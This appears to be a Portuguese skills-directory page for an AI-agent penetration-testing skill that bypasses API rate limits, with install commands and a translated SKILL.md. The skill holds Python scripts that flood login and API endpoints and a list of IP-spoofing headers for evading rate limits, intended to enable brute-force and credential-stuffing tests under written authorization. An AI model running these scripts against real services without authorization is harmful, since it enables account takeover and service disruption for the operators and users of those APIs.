Pular para o conteúdo
Skillpedia
Diversos35 mil · #6020

performing-api-rate-limiting-bypass

Permite que seu agente teste a capacidade de contornar limites de taxa em APIs para identificar vulnerabilidades.

O que ela faz

Esta ferramenta ajuda a testar se é possível burlar os limites de quantas vezes você pode acessar um serviço online (API). Ela verifica se atacantes podem enviar muitas requisições para tentar adivinhar senhas ou sobrecarregar o serviço.

Quando usar

  • ✓Para verificar se é possível adivinhar senhas de contas.
  • ✓Para ver se o serviço aguenta muitas tentativas de login.
  • ✓Para checar se o serviço se protege contra ataques que o deixam indisponível.

Exemplo do que pedir para a IA

“Verifique se os limites de acesso podem ser burlados para tentar adivinhar senhas no endpoint de login.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-api-rate-limiting-bypass/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-api-rate-limiting-bypass/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia muitas requisições para o serviço, tentando diferentes métodos, cabeçalhos (como IPs falsos) e caminhos de URL. Ela observa se o serviço aplica os limites de forma consistente ou se há brechas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-api-rate-limiting-bypass

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-api-rate-limiting-bypass/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Contorno de Limitação de Taxa de API

Quando Usar

  • Testar se a limitação de taxa de API pode ser contornada para permitir ataques de força bruta em endpoints de autenticação
  • Avaliar a eficácia dos controles de limitação de API contra ataques de credential stuffing ou enumeração de contas
  • Avaliar se os limites de taxa são aplicados consistentemente em todas as versões, métodos e formatos de codificação da API
  • Testar se a limitação de taxa do gateway de API pode ser contornada através de manipulação de cabeçalho ou rotação de IP
  • Validar que os limites de taxa protegem contra esgotamento de recursos e condições de negação de serviço

Não use sem autorização por escrito. Testes de limitação de taxa envolvem o envio de grandes volumes de requisições que podem impactar a disponibilidade do serviço.

Pré-requisitos

  • Autorização por escrito especificando endpoints alvo e volumes de requisição aceitáveis
  • Python 3.10+ com bibliotecas requests, aiohttp e asyncio
  • Burp Suite Professional com a extensão Turbo Intruder para testes de alta velocidade
  • cURL para testes manuais de manipulação de cabeçalho
  • Conhecimento da infraestrutura de CDN e WAF do alvo (Cloudflare, AWS WAF, Akamai)
  • Lista de cabeçalhos de contorno de limitação de taxa para testar

Fluxo de Trabalho

Passo 1: Descoberta de Limitação de Taxa e Linha de Base

Identifique como a limitação de taxa é implementada:

import requests
import time

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Send requests and track rate limit headers
def probe_rate_limit(endpoint, method="GET", count=100):
    results = []
    for i in range(count):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
        rate_headers = {
            "limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),
            "remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),
            "reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),
            "retry_after": resp.headers.get("Retry-After"),
            "status": resp.status_code
        }
        results.append(rate_headers)
        if resp.status_code == 429:
            print(f"Rate limited at request {i+1}: {rate_headers}")
            return results, i+1
        time.sleep(0.05)  # Small delay to avoid connection issues
    print(f"No rate limit triggered after {count} requests")
    return results, count

# Test key endpoints
login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200)
api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200)
search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200)

print(f"\nRate Limit Summary:")
print(f"  Login: Triggered at request {login_threshold}")
print(f"  API: Triggered at request {api_threshold}")
print(f"  Search: Triggered at request {search_threshold}")

Passo 2: Técnicas de Contorno Baseadas em IP

# Bypass Technique 1: Header-based IP spoofing
IP_SPOOFING_HEADERS = [
    "X-Forwarded-For",
    "X-Real-IP",
    "X-Original-Forwarded-For",
    "X-Originating-IP",
    "X-Remote-IP",
    "X-Remote-Addr",
    "X-Client-IP",
    "X-Host",
    "X-Forwarded-Host",
    "True-Client-IP",
    "Cluster-Client-IP",
    "X-ProxyUser-Ip",
    "Forwarded",
    "CF-Connecting-IP",
    "Fastly-Client-IP",
    "X-Azure-ClientIP",
    "X-Akamai-Client-IP",
]

def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
    """Test if IP spoofing headers bypass rate limiting."""
    # First, trigger the rate limit normally
    for i in range(200):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
        if resp.status_code == 429:
            print(f"Rate limit triggered at request {i+1}")
            break

    # Now test each spoofing header
    bypasses_found = []
    for header in IP_SPOOFING_HEADERS:
        spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body)
        if resp.status_code != 429:
            bypasses_found.append(header)
            print(f"[BYPASS] {header} -> {resp.status_code}")

    return bypasses_found

login_body = {"username": "test@example.com", "password": "wrongpassword"}
bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body)

Passo 3: Contorno de Variação de Endpoint

# Técnica de Contorno 2: Variação do caminho da URL

…
Perguntas frequentes

Preciso de permissão para usar isso?

Sim, é essencial ter autorização por escrito antes de testar os limites de acesso. Testes sem permissão podem causar problemas no serviço.

O que são 'rate limits'?

São regras que limitam o número de vezes que um usuário ou sistema pode acessar um serviço em um determinado período, para evitar sobrecarga e uso indevido.

Quais ferramentas são necessárias?

Você precisará de Python com bibliotecas específicas, o Burp Suite Professional com a extensão Turbo Intruder e o cURL.

Detalhes

Descrição original do autor

Tests API rate limiting for bypass vulnerabilities using Python (requests/aiohttp) and Burp Suite Turbo Intruder to manipulate headers (e.g. X-Forwarded-For spoofing), IPs, HTTP methods, API versions, and encodings, mapping findings to OWASP API4:2023 Unrestricted Resource Consumption. Use when assessing, under written authorization, whether rate limits can be bypassed to enable brute force or res

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6020
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas